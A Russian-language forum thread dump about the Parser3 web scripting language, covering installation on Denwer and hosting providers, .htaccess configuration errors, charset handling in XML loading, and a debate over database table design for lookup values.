http://corp.batteryteam.ru/people/anketa.html?asw_1=165+&asw_2=55&asw_3=46+&asw_4=39+&asw_5=%ED%E5+%E7%E0%EC%F3%E6%E5%EC&asw_6=%ED%E5%F2%F3+&asw_7=&asw_10=%C4%C4%D2&asw_8=&asw_11=&asw_9=&asw_12=&asw_13=&asw_14=&asw_15=&asw_16=&asw_17=&posted=+%C4%EE%E1%E0%E2%E8%F2%FC+%EE%F2%E2%E5%F2%FB+"
"43369","Вот файл состоящий из двух кусков Вашего кода:\
[code]\
<form>\
  <table>\
    <TR>\
      <TD vAlign=center align=right width=\"30%\">Ваш рост </TD>\
      <TD><INPUT size=45 value=\"165 \" name=asw_1></TD>\
      <TD><I>в сантиметрах</I> </TD></TR>\
    <TR>\
      <TD vAlign=center align=right width=\"30%\">Ваш вес </TD>\
      <TD><INPUT size=45 value=\"65 \" name=asw_2></TD>\
      <TD><I>в килограммах</I> </TD></TR>\
    <TR>\
      <TD vAlign=center align=right width=\"30%\">Размер одежды </TD>\
      <TD><INPUT size=45 value=\"46 \" name=asw_3></TD>\
      <TD><I></I></TD></TR>\
    <TR>\
      <TD vAlign=center align=right width=\"30%\">Размер обуви, который вы носите </TD>\
      <TD><INPUT size=45 value=\"39 \" name=asw_4></TD>\
      <TD><I></I></TD></TR>\
    <TR>\
      <TD vAlign=center align=right width=\"30%\">Ваше семейное положение </TD>\
      <TD><INPUT size=45 value=\"не замужем\" name=asw_5></TD>\
      <TD><I>замужем/женат, не замужем/ не женат, не опредилась (-лся)</I> </TD></TR>\
    <TR>\
      <TD vAlign=center align=right width=\"30%\">Количество детей </TD>\
      <TD><INPUT size=45 value=\"нету \" name=asw_6></TD>\
      <TD><I>возможен ответ: \"не помню\"</I> </TD></TR>\
    <TR>\
      <TD vAlign=center align=right width=\"30%\">В каком районе Вы проживаете? </TD>\
      <TD><INPUT size=45 name=asw_7></TD>\
      <TD><I>точный адрес можно не указывать</I> </TD></TR>\
    <TR>\
      <TD vAlign=center align=right width=\"30%\">Ваша любимая музыка </TD>\
      <TD><INPUT size=45 value=ДДТ name=asw_10></TD>\
      <TD><I></I></TD></TR>\
    <TR>\
  </table>\
  <input type=\"submit\">\
</form>\
\
</form>\
^form:fields.foreach[field;value]{\
   ^if(^field.match[asw_[0-9]+][]){\
     $asw_id[^field.match[asw_([0-9]+)][]{$match.1}]\
     UPDATE anketa_answer SET answer_text = '$form:asw_$asw_id' WHERE woker_id = '$form:edit_id' and question_id = $asw_id <br />\
   }\
}\
[/code]\
У меня это работает. А у Вас? =)"
"43371","многоуважаемые господа парсеристы вот вопросик родился,\
мне интересно за какие сроки, с каким упорством и на сколько вы изучили всеми любимый парсер"
"43373","Глупый вопрос, конечно :-)"
"43375","извините, но я все равно не понял \\:(. Можно конкретно, как сделать так, чтобы на моем персональном компьютере правильно отображались страницы написаные на парсере? У меня обычная рабочая станция под WinXP."
"43376","Иначе разговор бесполезен. Что конкретно делать см. ссылку выше."
"43377","Мне вот казалось почему-то, что можно присвоить переменной значение [b]любого[/b] запроса SQL, а MySQL на все запросы имеет что вернуть. Пытаюсь поймать в string результаты LOAD DATA INFILE, а в ответ парсер ругается, что MySQL ничего не возвращает. Это я туплю, или действительно этот ответ MySQL не отсылает парсеру?"
"43379","$.default{} меня не спасет. Мне сам отчет MySQL нужен. Пойду поплачу..."
"43380","Исходя из этих данных на изучение Парсера на 100% с коэффициентом упорства 1,0 необходимо затратить около 4,8 лет. :)"
"43381","...что приведет к дополнительному самосовершенствованию :)"
"43384","я устанавливаю \"джентельменский набор web-разработчика\" и все. что мне делать дальше, я уже не знаю =("
"43387","А также слева есть поиск. Ключевое слово: денвер."
"43388","Да, но все равно ничего не понял. Пожалуста, скажите конкретно, что нужно сделать чтобы страницы отображались, без всяких там прелюдий"
"43392","причём первая: вы набираетесь терпения.\
вторая: вы изучаете те продукты и технологии, что собираетесь использовать."
"43394","Я имел ввиду помимо этого"
"43398","бракоразводный процесс..\
Судья (мужу): - Почему развестись решили?\
- Она меня не удовлетворяет!\
- Странно, всю Одессу удовлетворяет, а Вас нет?"
"43399","если я пишу неправильную инструкцию в  .htaccess и вижу ошибку 500\
значит .htaccess у меня обрабатывается?"
"43401","у меня почему парсер никак обработчиком не становится\
такую фигню дает:\
Not Found\
The requested URL /cgi-glob/parser3/parser3_wrapper.exe/lvcntei/index.html was not found on this server"
"43404","Хочется P3 как модуль к Apache прикрутить, да вот беда - у моего хостера он второй версии. Не планируется в ближайшем времени сделать и для 2.0?"
"43405","[i]Как подключить Parser к Apache? \
Для этого в Apache нужно в файлах .htaccess или httpd.conf (секция <virtualhost>) следующие строки (подразумевается, что /cgi-bin указывает на каталог, прописаный в ScriptAlias в httpd.conf):\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi[/i]\
\
=================\
\
Как поставить под ДЕНВЕРом и XP:\
\
1.  Скачиваешь [url=\"http://www.parser.ru/f/1/download/win32/parser3_1_4_ru.exe\"]наиболее полный исходник для Win[/url] с сайта www.parser.ru\
2.  Запускаешь его. Что будет спрашивать - всё по умолчанию. НИЧЕГО НЕ МЕНЯЙ! В результате в каком-то каталоге будет полный набор всего, что тебе понадобится.\
3.  Копируешь файлы parser3.exe, gc.dll и auto.p в директорию /cgi-bin/ своего локального сайта (это у тебя на диске Z: скорее всего).\
4.  Копируешь директории charsets и lib туда же, куда запихал parser3.exe Не содержимое, а целиком директории!\
5. Копируешь файл msvcr71.dll в директорию c:\\Windows\\System32\\ (только если её там до этого не было!)\
6. Переименовываешь файл parser3.exe в parser3.cgi\
7. В директории Z:/home/<твой сайт>/ создаешь следующий файл .htaccess:\
[code]\
# Подключение Parser-а для всех .html-страниц\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# Запрет на доступ к .p и .cfg-файлам.\
<Files ~ \"\\.(p|cfg)$\">\
  Order allow,deny\
  Deny from all\
</Files>\
[/code]\
\
8. Скачай [url=\"http://www.parser.ru/f/1/download/utils/test.zip\"]тестовый файл[/url]\
9. Вытащи из скачанного _test.html и размести в директории Z:\\home\\<твой сайт>\\www\\\
10.  Запускай Денвер, если ещё на запущен, и набирай в строке браузера localhost. Если Денвер у тебя работает, то он тебе об этом скажет :)\
11. Набери в строке браузера <твой сайт>/_test.html\
\
Запиши что у тебя получилось и возвращайся сюда. Расскажи - вместе посмеёмся ;)"
"43406","День добрый!\
\
Я понимаю, что вопрос мой покажется всем исключительной фигней, но все же задам. Я в принципе очень мало понятия имею о том как необходимо общаться с серверами и как это все дело настраивается. Парсер мне необходим для решения самых простых задач. Одним словом ламер я.\
\
Теперь ситуация:\
Настраиваю парсер на bhost.ru согласно инструкции от сюда \
[url=\"http://www.parser.ru/hosters/bhost.ru/1/\"]http://www.parser.ru/hosters/bhost.ru/1/[/url].\
То есть я в корневом катологе создаю .htaccess и прописываю в него дословно что указано в инструкции. После чего засовываю пробный код следующего содержания\
\
[code]$now[^date::now[]][/code]\
\
и получаю ошибку следующего содержания\
\
[b]Unhandled Exception (Debug)[/b]\
[i]/www/omnia-moscow.ru/html/d/index.html(1:4): parse error, expecting `STRING' or `'['' or `'$''\
exception.type=parser.compile \
[/i]\
\
в принципе понятно, что я что-то ге-то недопрописал. Но вот что я понять не могу никак.\
\
\
Очень прошу объяснить человеку который слабо в этом во всем понимает как все-таки заставить это все работать. Спасибо."
"43407","Остается открыть этот файл и в указанном месте исправить. Ошибка возникает НЕ в приведенном вами коде — он верный. Сомневаетесь? Напишите вместо него [code]something text[/code] и посмотрите на реакцию."
"43409","Еще можно почитать примеры и статьи у Александра Егорова (http://egoroff.spb.ru/) и Eugene Spearance (http://spearance.ru/parser3/)"
"43410","это, обычно, виртуальная папка.\
её обычно так и называют, неважно, как там на диске каталог называется и где находится.\
об этом подробно написано в справке по вашему хостингу, почитайте.\
\
если не поможет, приходите ещё. только подробнее расскажите, что же есть на диске."
"43411","но никому из наших клиентов не нужна -- так и не встроена в основное дерево исходников.\
\
однако сюрприз: мне не встречался [b]ни один[/b] хостер виртуальных серверов, согласный что-то там встраивать в Apache.\
\
есть исключения: когда даётся в аренду сервер целиком: «устанавливай что хочу». на таком сервере можно поставить и 1.3 и не жужжать.\
\
общие соображения по дополнительным мерам, связанным с оптимизацией работы по схеме с модулем писал раньше."
"43412","Можно ли для wget-а указывать тело запроса?.. Почитал документацию, но так ничего и не понял. Выставлять свои заголовки я могу, а вот само тело запроса?..\
\
Вот что мне нужно получить, пример на Парсере:\
\
[code]\
$xdoc[\
	^xdoc::load[[b]https://[/b]www.e-port.ru:8084/ed11.cp]\
		$.method[POST]\
		$.any-status(1)\
		$.body[<?xml version=\"1.0\" ?>\
<!DOCTYPE package PUBLIC \"-//e-port//Eport Diler Message protocol 10.0.//EN\" \"http://dtd.e-port.ru/request.10.dtd\">\
<package>\
	<header>\
		<time>2005-08-12 13:35:30</time>\
		<version>OEM/10.0.0</version>\
		<dir>0</dir>\
		<point>1234</point>\
		<card>123456-78901</card>\
		<pin>qwerty</pin>\
	</header>\
	<operation>\
		<id>1</id>\
		<hash>1</hash>\
		<time>2005-08-12 00:00:00</time>\
		<dir>0</dir>\
		<product></product>\
		<account>\
			<value>2147483647</value>\
		</account>\
		<check>01</check>\
		<sum>1.0000</sum>\
		<total>30.77</total>\
		<interest>0.47</interest>\
		<qty>30.30</qty>\
		<primary>qty</primary>\
		<option>\
			<name>ncheck</name> \
			<value>01123120805000001</value> \
		</option>\
		<option>\
			<name>timeoutCheck</name> \
			<value>3600</value> \
		</option>\
	</operation>\
</package>]\
	]\
]\
[/code]\
\
Все бы отлично, только не может парсер работать с протоколом https.\
\
Если не wget, то как еще можно реализовать поставленную задачу?"
"43413","[code]\
wget --help\
...\
       --post-data=STRING    use the POST method; send STRING as the data.\
       --post-file=FILE      use the POST method; send contents of FILE.\
[/code]"
"43415","Вот, нашел в сети:\
http://forum.ixbt.com/topic.cgi?id=24:7978\
\
Может быть в «полезные ссылки»?"
"43416","Справка гласит\
\" Для чего в основном конфигурационном файле веб-сервера (обычно httpd.conf) в секцию <virtualhost …> вашего сайта, или вне ее - для всех сайтов, добавьте директивы:\
<Directory /путь/к/вашему/веб/пространству>\
AllowOverride FileInfo\
</Directory>  \"\
1. Где именно должен размещеться файл httpd.conf ?\
2. \"/путь/к/вашему/веб/пространству\" это путь к index.html ?"
"43417","Это путь к корню веб-пространства. Т.е. дирректория, которая открывается при запросе к вашему сайту http://сайт/"
"43418","За это время и с таким упорством, можно изучить С#"
"43419","Этот файл создавать не надо, он уже есть. По умолчанию в папке \\usr\\local\\apach\\conf\\"
"43420","у меня в папке   usr\\local\\ почему то  нету папки apach ?"
"43422","usr\\local  которая на серваку у моего провайдера вмещает только папку  mysql \
а вот на моем компьютере есть папка usr с этим файлом \
может мне заменить usr на серваку папкой usr с ПК?"
"43423","Обычно дают изменять только .htacces, а httpd.conf — никогда не дают даже на чтение, т.к. это файл с главными настройками Апача.\
\
Для чего вам нужно его изменять?"
"43424","на набор адреса получаю:\
\
Not Found\
The requested URL /cgi-glob/parser3/parser3_wrapper.exe/lvcntei/index.html was not found on this server"
"43426","# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html  /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p,.cfg-файлам. Основной: auto.p \
<Files ~ \"\\.(p|cfg)\"> \
Order allow,deny \
Deny from all \
</Files>"
"43427","Проверьте наличие parser3_wrapper.exe по указанному пути. У меня выскакивает ваша ошибка, если я указываю в .htaccess файл на обработку, которого на самом деле не существует."
"43428","Извените я тупой...=)\
я не понимаю что ему еще надо дописать...\
\
Может он просит конфигурационный файл прописать?\
Я впринципе в курсе что дело не в том коде что у меня написан.\
\
кстати, в Парсере2 был такой приятный оператор ^counter[]\
он в каком-нибудь виде сохранился в Парсере3 ???"
"43430","ничего...\
полный код в файле это:\
\
[code]$now[^date::now[]][/code]"
"43432","у меня на ПК сайт на парсере работает\
хочу что бы он работал  на сервере у провайдера\
там есть папка www\
\
какие именно папки я должен туда закинуть чтобы сайт работал  там?"
"43433","Узнаете версию ОС у своего хостера\
Идете сюда http://www.parser.ru/download/ в соответствующий раздел и следуете инструкциям слева.\
Если все сделали как там написено но не работает, то идете сюда и читаете http://www.parser.ru/faq/install/"
"43434","Ошибка ичезла, но теперь вообще ничего не отображается..."
"43435","дело в том , что сайт на парсере у меня уже работал \
просто теперь я перенес файлы сайта (они были в папке www) в папку www/lvcntei  и теперь парсер перестал работать\
наверняка надо что-то изменить в параметрах\
но где????"
"43436","...о том, [b]что было[/b], [b]что стало[/b] и какие действия [b]вы уже предпринимали[/b] для того, чтобы все исправить?\
\
зачем после очередной рекомендации вам сообщать что-то новое из жизни вашего сайта?\
\
P.S. очередные ваши сообщения с просьбами о помощи не содержащие информации о проблеме будут удаляться."
"43437","при попытке обратиться к несуществующим документам он тоже делает все, что от него требуется.\
\
т.е. скорее всего вы просто как-то странно пишите код (не в ворде случаем?)\
\
скачайте тестовый файл, положите его в к корень веб пространства и обратитесь к нему из броузера (только НЕ редактируйте этот файл)."
"43438","проблема такая:\
 сайт на парсере у меня находился сначала  в папке www\
(имел адрес www.cstei.lviv.ua) и без проблем работал\
\
у меня была необходимость сменить его адрес на www.cstei.lviv.ua/lvcntei\
в связи с чем я перенес файлы сайта в папку www/lvcntei\
но парсер теперь не работает?"
"43439","...если он не выполняет функции хостера...\
Для начала попробуйте выяснить какая система установлена у Вашего \"провайдера\".\
На Вашем ПК парсер под чем работает?"
"43440","коротче, все было ОК (сайт на парсере работал у провайдера)\
просто я перенес папки сайта из папки www в папку www/lvcntei\
тогда то парсер и перестал быть обработчиком\
каталог cgi-bin остался в папке www\
значит  адрес /cgi-glob/parser3/parser3_wrapper.exe в файле .htaccess  не меняется\
в чем же тут дело?"
"43442","Давайте проведем мини-опрос - кто камим редактором пользуется и почему ?\
У меня, например, обычно их открыто сразу несколько, но код парсера пишу в блокноте. Понимаю, что это не есть гуд, но привык я к нему."
"43444","Файл, который я загружаю через ^xdoc::load в кодировке windows-1251, это без всяких сомнений, так как в документации к e-port-у об этом прямо сказано. Но Парсер ругается на счет кодировки. Тестирую на локальной xml-ке, в которой могу напрямую указать кодировку файла:\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
[/code]\
\
Тогда все отлично. Можно ли принудительно указать кодировку загружаемого файла?.. Можно конечно сделать так:\
\
[code]\
$file[^file::load[...][\
	$.charset[windows-1251]\
]]\
[/code]\
\
Затем заменять первую строчку на свою и создавать уже xdoc... Но это будет не красиво и не удобно. И вообще хочется красивого и правильного решения ;)"
"43445","я правильно понял, что буквы в этой xml в 1251, но в заголовке не указан правильный <?xml version=\"1.0\" encoding=\"windows-1251\" ?>?\
\
если это, то только загрузкой его с помощью file::load и ручной модификацией заголовка."
"43446","Затем попробовал HomeSite+. Подсветка Parser'а - это ОЧЕНЬ удобно! Теперь пользуюсь Quanta+ (KDE, Linux)."
"43447","Здесь есть замечательный поиск! ;-)"
"43453","Я использую на сайтах такой подход:\
все значения, которые постоянно используются я храню в одной таблице. \
К примеру: название стран, виды продукции и т.д.\
Значения разделяются полем class, т.е. каждая группа имеет свой класс.\
Предлагают использовать такой подход:\
каждую группу значений хранить в отдельной таблице.\
\
Хотел посоветоваться как правильнее?"
"43455","По идее вполне нормально держать всё в одной...\
Хотя вообще чтобы ответить однозначно, нужно знать динамику запросов, как часто вызываются поля, как и с чем сравниваются...\
\
Иногда бывает проще разбить все наименования товаров по первой букве алфавита и на каждую сделать отдельную таблицу, но это частные случаи."
"43456","Структура таблицы такая\
id class rus eng\
1 1      abc abc\
................\
9 2      abc abc\
\
и так далее\
\
а предлагается для каждого класса выделять отдельную таблицу.\
\
С моей точки зрения мой подход более правильный, чем предлагаемый, потомоу что:\
1. Если групп много, то таблиц будет тоже много\
2. Удобство при выборке (нпример если надо выбрать несколько групп)\
3. Легче избежать ошибок, потому, что каждому id независимо от класса пренадлежит какое-то значение, а если делать по таблицам, то id будут одинаковые (сейчас я не парюсь какому классу пренадлежит id)"
"43457","Я уже как бы привык к такой структуре, работает безотказно и без лишних уточнений. Просто сейчас начинаю разрабатывать проект с одним человеком и он наставивает на множестве таблиц, мотивируя это тем, что в моем случае получается каша..."
"43458","Главное чтобы было просто и легко достать, и не сказывалось на скорости."
"43460","В моем варианте как раз легко достать. А главные примущества на мой взгляд это\
Иметь например 100 (хотя это сложно представить) групп в разных таблицах - очень громостко.\
\
Связи между таблицами более прозрачны. Если например представить торговую площадку, в которой используется 10 групп, то нарисовав диаграму бд со связями мы получим приличиную паутину."
"43461","> По идее вполне нормально держать всё в одной...\
\
Как раз таки ненормально. То, что делает автор, не лезет ни в какие ворота, - нельзя пихать разнородные данные в одну таблицу.\
\
> Хотя вообще чтобы ответить однозначно, нужно знать динамику запросов, как часто вызываются поля, как и с чем сравниваются...\
\
Нужно знать не \"динамику запросов\" а смысл данных. Динамика запросов не имеет смысла пока нет базы, а тут идет речь о её проектировании, т.е. её нет.\
\
> Иногда бывает проще разбить все наименования товаров по первой букве алфавита и на каждую сделать отдельную таблицу, но это частные случаи.\
\
Так делать нельзя, даже прикрываясь производительностью."
"43462","хранить в одной таблице название стран и виды продукции (это то, что вы упомянули) - идеологически недопустимо. а если вам потребуется доьавить полей к странам?\
\
вы дома все валите на пол, или тарелки в шкафу на кухне, книжки на полке, CD/DVD - на стойке?\
\
в БД - то-же самое. база данных в первую очередь должна логически струкрутировать данные. а 10 при этом получится таблиц или 100 - дело десятое (что-то мне подсказывает, что 100 вы не получите, даже если очень постараетесь). сервер БД с этим справится, а вот тот, кто придет потом разбираться с одной таблицей - нет."
"43463","> нельзя пихать разнородные данные в одну таблицу\
\
данные одного типа.\
\
И зачем создавать разные таблицы с одинкаовыми полями и их названиями?"
"43464","Если потребуется добавить полей к странам - добавляем строку с классом стран.\
\
С точки зрения человека страны и продукция разные вещи, но с точки зрения СУБД, полскоьку они имеют одинаковый тип данных - это одно и тоже.\
Я могу назвать много \"+\" использования одной таблицы, а вот назвать \"+\" использования множества таблиц не получается.\
\
Если провести аналогию:\
Представьте, что у вас есть машина, которую нужно собрать. Все детали лежат по отдельности.\
\
В моем случае детали лежат в одной коробке, разделенные секциями.\
В вашем случае все детали лежат в разных коробках.\
\
Я думаю все-таки удобнее брать их из одной коробки...\
\
К тому же я не объединяю \"разные\" данные. Объединять данные можно по разным принципам. Я в данном случае объединяю по принципу назначения. Вы объединяете о принципу что эти данные значат.\
\
Если не задумаваться что лежит в таблице (страны и т.д.), а назвать все переменными: все переменные имеют одинакаовй тип данных и способ описания, и используются по одному и тому же назначению."
"43466","Против вашего подхода всего один аргумент - удобство представления информации для чтения невооруженным глазом. Причем в данном случае проблема не носит масштабного характера, а чтобы взгляд радовался, можно классы поименовать сокращениями, положим, трехбуквенными.\
\
Скорость надо уважать.\
\
А еще надо уважать (косой взгляд в сторону Misha v.3) труд программера, которому, возможно, придется разбирать ваши скрипты. Упаковывание данных в одну таблицу оставляет больше возможностей для оптимизации, упрощения и сокращения кода."
"43467","зачем всеже хранить список стран вмете со спиком продуктов?\
честно: я очень плохо понимю - как потом другой чел будет разбиратсья где что лежит в этой таблице, да и стуктуру для разных данных можно менять в разных таблицах гораздо спокойней."
"43468","> Против Вашего подхода всего один аргумент - удобство представления информации для чтения невооруженным глазом.\
Совершенно верно.\
Но компьютер, на то и создан, чтобы обрабатывать такие данные"
"43469","вы немного не понмаете задачу. Я не храню в одной таблице страны и к примеру поля торговой площадки. \
Я лишь храню в одной таблице все данные которые потом заносятся в виде id в торговую площадку, а затем из id получаются слова.\
\
P.S конечно я их использую не только в торговой площадке, но и в других таблицах"
"43471","что вы не почитали книжку, где подробно всё расскажут, это понятно.\
\
что пришли на форум, тоже понятно.\
\
но вам подробно рассказали \"ваш подход — плохой\".\
\
однако же упорствуете в заблуждении!\
\
может так поможет: «а какие foreign ключи можно будет поставить в предлагаемой вами структуре?». никаких?!\
т.е. теоретически возможно, что задумывалась где-то ссылка на тип А, а получилась (вдруг) ссылка на тип Б. это хорошо, по вашему? или «такого не может быть никогда»?"
"43472","Если лыжи не едут."
"43473","Т.к. непонятно что это. Если тип один, тогда конечно не надо городить разные таблицы."
"43474","сайт на парсере у меня находился сначала в папке www\
(имел адрес www.cstei.lviv.ua) и без проблем работал\
\
у меня была необходимость сменить его адрес на www.cstei.lviv.ua/lvcntei\
в связи с чем я перенес файлы сайта в папку www/lvcntei\
каталог cgi-bin остался в папке www\
теперь если в браузере набирать www.cstei.lviv.ua/lvcntei выбивает\
\"The requested URL /cgi-glob/parser3/parser3_wrapper.exe/lvcntei/index.html was not found on this server\"\
понимаю что отказ работать парсера связан с переносом в папку\
но где учесть это перенос?"
"43475","Принцип примерно такой:\
(Чтобы не смущало значение данных, возьмем 3 группы, страны брать не будем).\
Возьмем мою торговую площадку:\
Есть два вида продукции(пиломатериал, пиловочник) и породы древесины.\
Все 3 группы описываются примерно так:\
[code]\
id (int)  class(int) rus(varchar) eng(varchar)\
1         1          prod1        prod1\
2         1          prod2        prod2\
3         1          prod3        prod3\
4         2          prod4        prod4\
5         2          prod5        prod5\
6         3          poroda1      poroda1\
7         3          poroda2      poroda2\
[/code]\
Здесь class 1 - это все виды пиломатериалов, class 2 - все виды пиловочника, class 3 - породы древесины\
\
Далее в торговую площадку мы добавляем id, затем при выводе находим какое rus(расшифровка) соотвествует данному id.\
\
Сюда же помещаются другие похожие группы, такие как страны и т.д\
Т.е все что имеет такое же назначение и типы переменных.\
\
Зачем разделять в отдельные таблицы породу древесины и виды продукции я не понимаю. Так же и страны, если они описывются так же, зачем их выделять?"
"43476","Ситуация такая: у них FreeBSD (скачал для него parser3.cgi).\
Установил права (там 2-е папки - www  и cgi - права - 700 и 711 соответственно). Всё закачал, .htaccess, Parser, сайт.\
\
До выставления прав была ошибка 500. Теперь - 403.\
\
index.html - наипростейший. Код парсера в нём - \
\
<html>\
<head>\
  <title>Untitled web-page</title>\
</head>\
<body>\
Hello!\
$now[^date::now[]]\
</body>\
</html>"
"43477","Про продукцию понятно, - одна таблица, но страны то зачем туда же!? Это совсем другая сущность и неважно что у неё сейчас с товарами атрибуты совпадают. Это может измениться - вдруг появится для страны такой параметр как столица? или численность населения? Не стоит смешивать несовместимое.\
\
При проектировании разные по смыслу предметные сущности стоит разводить в разные программные сущности"
"43478","Не посчитайте меня \"спорщиком\" :), но\
>  вдруг появится для страны такой параметр как столица? или численность населения?\
Такие задачи появлялись, решались они так: создавалась таблица, туда помещалось id (даже без class), и далее к этому id дабавляются параметры.\
Данная большая таблица используется как отправной пункт, остальное  \"пляшет\" от нее.\
Если я не ошибаюсь, такая таблица называется \"справочник\".\
\
P.S. Я пытаюсь найти неразрешимые моменты в моем подходе, поэтому отстаиваю свою точку зрения, пока неразрешимиых задач я не нашел.\
\
Еще раз извиняюсь..."
"43479","Ну вот, такая таблица и будет узким местом при большом количестве разнородных сущностей.\
\
Вместо простого селекта из одной таблицы (чтобы получить необходимые атрибуты), придется каждый раз делать соединения.\
\
Кроме того, проблемы с производительностью и на изменении данных - придется делать две вставки/изменения/удаления.\
\
Плохо, ужасно плохо, и ничем не оправдано."
"43480","перечитал и перепробывал все... и птичку перед ; ставил ... и в отдельный метод выводил .... ошибка в javascript (код счетчика spylog) ....\
\
и как с этим бороться... поможите люди добрие :)"
"43481","... огромный кузов класть в одну коробочку (даже разделенную перегородками) с гайками M3 - плохая идея.\
\
[quot]\
Если не задумаваться что лежит в таблице (страны и т.д.), а назвать все переменными: все переменные имеют одинакаовй тип данных и способ описания, и используются по одному и тому же назначению.\
[/quot]\
\
пока мне не расскажут про все, что бывает в системе я не приступаю к проектированию БД. я ни разу не делал проектов где у города например есть только название. или где у продукта есть только название. полей у этих сущностей много и все остальные поля у них различны.\
\
если вы говорите, что в вашей системе вы можете добавить дополнительную табличку с полями, которые нужны только для стран, и еще одну с полями, которые нужны только для продуктов то вы получите три таблички, в классике мы получим две таблички (одну для стран и одну для продуктов). при этом все, что относится к странам лежит в одном месте, а что к продуктам - в другом. мне кажется логичным именно такой подход (проблема с не уникальностью идентификаторов надумана).\
\
с другой стороны чем больше я читаю то, что вы пишите, тем больше я прихожу к выводу что вы решаете другую задачу, но на словах описываете её не так как это есть на самом деле.\
\
похоже все таки речь идет не о \"всех сущностях в одной таблице\", а о \"всех _текстах_ в одной таблице\". в этом случае я могу согласится что подобный подход имеет право на жисть (однако прежде, как я уже говорил, надо проанализировать исходную задачу), но тут все равно не должно быть PK. тексты должны иметь родительские ID + тип. т.е. запись в тех других таблицах со странами/продуктами обязана иметь записи, а сюда просто вынесены тексты (чтобы в случае добавления еще одного языка не делать alter 10 таблицам добавляя name_de, name_pl и т.д.)."
"43483","> ни разу не делал проектов где у города например есть только название. или где у продукта есть только название. полей у этих сущностей много и все остальные поля у них различны.\
\
Да, здесь тоже самое, как я уже писал\
\
Возьмем мою торговую площадку:\
Есть два вида продукции(пиломатериал, пиловочник) и породы древесины.\
Все 3 группы описываются примерно так: \
[code]\
id (int)  class(int) rus(varchar) eng(varchar)\
1         1          prod1        prod1\
2         1          prod2        prod2\
3         1          prod3        prod3\
4         2          prod4        prod4\
5         2          prod5        prod5\
6         3          poroda1      poroda1\
7         3          poroda2      poroda2\
[/code]\
Здесь class 1 - это все виды пиломатериалов, class 2 - все виды пиловочника, class 3 - породы древесины\
\
А торговая площадка, которая описывает продукт мжет состоять к примеру из поля kind(class 1 или class2) поля spice (class 3) + еще другие параметры.\
\
> похоже все таки речь идет не о \"всех сущностях в одной таблице\", а о \"всех _текстах_ в одной таблице\".\
\
Если честно не совсем точно понимаю что значит сущность и текст.. но по-большому счету, все хранимые в этой таблице значения используются потом в полях select в качестве <option>, кторые уже затем добавляются в другие таблицы.\
\
> о тут все равно не должно быть PK. тексты должны иметь родительские ID + тип. т.е. запись в тех других таблицах со странами/продуктами обязана иметь записи, а сюда просто вынесены тексты..\
\
Не понял"
"43484","и где в приводимой структуре \"kind, spice и другие поля\". я не вижу. а если добавите - будет 3 таблицы вместо двух, при этом в них mix. в чем выигрыш?\
\
забудьте про мое предположение что это тексты, я ошибся в нём.\
\
как делать - решать вам. я высказал лишь свое видение происходящего."
"43485","код счетчика spylog помещаем в \
[code]\
@spylog[]\
[/code]\
далее где необходимо вставить этот код пишем\
[code]\
^taint[as-is][^spylog[]]\
[/code]"
"43489","Буду очень признателен, если кто-нибудь подскажет как передать значение текущей страницы ($current_page) скроллеру, т.к. он вызывается не напрямую...\
[code]\
^my_scroller.print[\
	$.mode[html]\
	$.nav_count(9)\
	$.left_divider[|]\
	[color=\"#ff0000\"]$.current_page(2)[/color]\
]\
[/code]\
Такая схема не работает. Мне кажется понятно почему...\
\
Нужно же передавать через init?!... Но как?\
Ведь там:\
[code]\
@init[items_count;items_per_page;form_name;direction][is_full_page]\
[/code]"
"43492","Есть предложение по изменению класса scroller.p. См. сообщения выше.\
Или что Вы думаете по этому поводу?"
"43493","Можно подключить Parser на сервер без использования /cgi-bin/?\
\
Дело в том, что у меня проблемы с /cgi-bin/, а Parser поддерживается (все версии). Не могу использовать Parser. Не знаю как без CGI-BIN."
"43495","> Но компьютер, на то и создан, чтобы обрабатывать такие данные\
\
:) Вот тут то собака и зарыта - программы понятные компьютеру пишут лишь дилетанты и любители, профессионалы пишут программы понятные человеку. Почему? Потому что основная стоимость ПО - это сопровождение, а вот тут то удобочитаемость и будет основным фактором снижения/повышения расходов."
"43496","Он ведь сам ее вычисляет."
"43497","Затем, что у меня скроллер вызывается не напрямую, а через другой класс. И получается, что он сам не вычисляете её. Т.е. прямо говоря ему не передаётся значение ?page=X..."
"43498","Можно внести небольшую коррективу в класс значит. В инициализацию добавить еще одну переменную, а при выводе смотреть, если она определена, то хватать ее, а если нет — хватать $form:[$self.form_name]:\
\
[code]\
@init[items_count;items_per_page;form_name;direction;init_page][is_full_page]\
...\
$current_page(^if(def $init_page){^init_page.int($page_count)}{^form:[$self.form_name].int($page_count)})\
[/code]"
"43499","Спасибо за код! Дело в том, что я надеюсь, что Михаил внесёт эту доработку в свой класс, т.к. будет удобнее скачивать и устанавливать новую версию класса, чем каждый раз его править."
"43500","Не думаю, что придется очень часто обновлять класс и вносить в него изменения ;)"
"43501","А обновлен 07 июня 2005 :-)\
http://www.parser.ru/examples/"
"43502","Мы вчера попробовали сделать диаграмму БД, где все группы разделены по таблицам - получилась схема, с кучей связей на лист A2. :)\
Есть книга хорошая по проектированию БД? Сколько книг не покупал все по описанию SQL.."
"43503","[Tue Aug 16 09:33:36 2005] [crit] [client 217.107.212.198] (13)Permission denied: /home/l/lightoff.h15.ru/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable\
\
... а права то 700... как указано в документации к хосту..."
"43504","http://www.parser.ru/examples/mscroller/\
\
Проглядел... в заголовке посмотрел только...\
Но в любом случае я не думаю, что этот класс будет очень часто обновляться."
"43505","дайте побольше прав, этот файл не секретный."
"43506","что там за такие «проблемы», и что значит «поддерживается»."
"43507","не нужно всё пытаться уместить на один лист, это обычно просто невозможно — такой лист не влезет в принтер, или такого микроскопа ещё не выдумали.\
\
обычно схему можно разделить на логические части.\
\
помните карты? «дорога на киев…» и никто не напрягается тем, что киев на тот же листочек, что и любимый дом не поместился.\
\
пусть одна и та же таблица будет в нескольких частях, как на картах дорог есть два конца одного и того же шоссе."
"43508","«Слежение за чужими исходными текстами»\
http://cisco.opennet.ru/docs/RUS/cvs/cvs-ru_13.html\
\
http://www.parser.ru/f/1/links/cvs_ru.chm\
mk:@MSITStore:C:\\cvs_ru.chm::/cvs-ru_13.html#SEC103"
"43509","Ошибка 500...\
\
И вот что пишет в логе:\
\
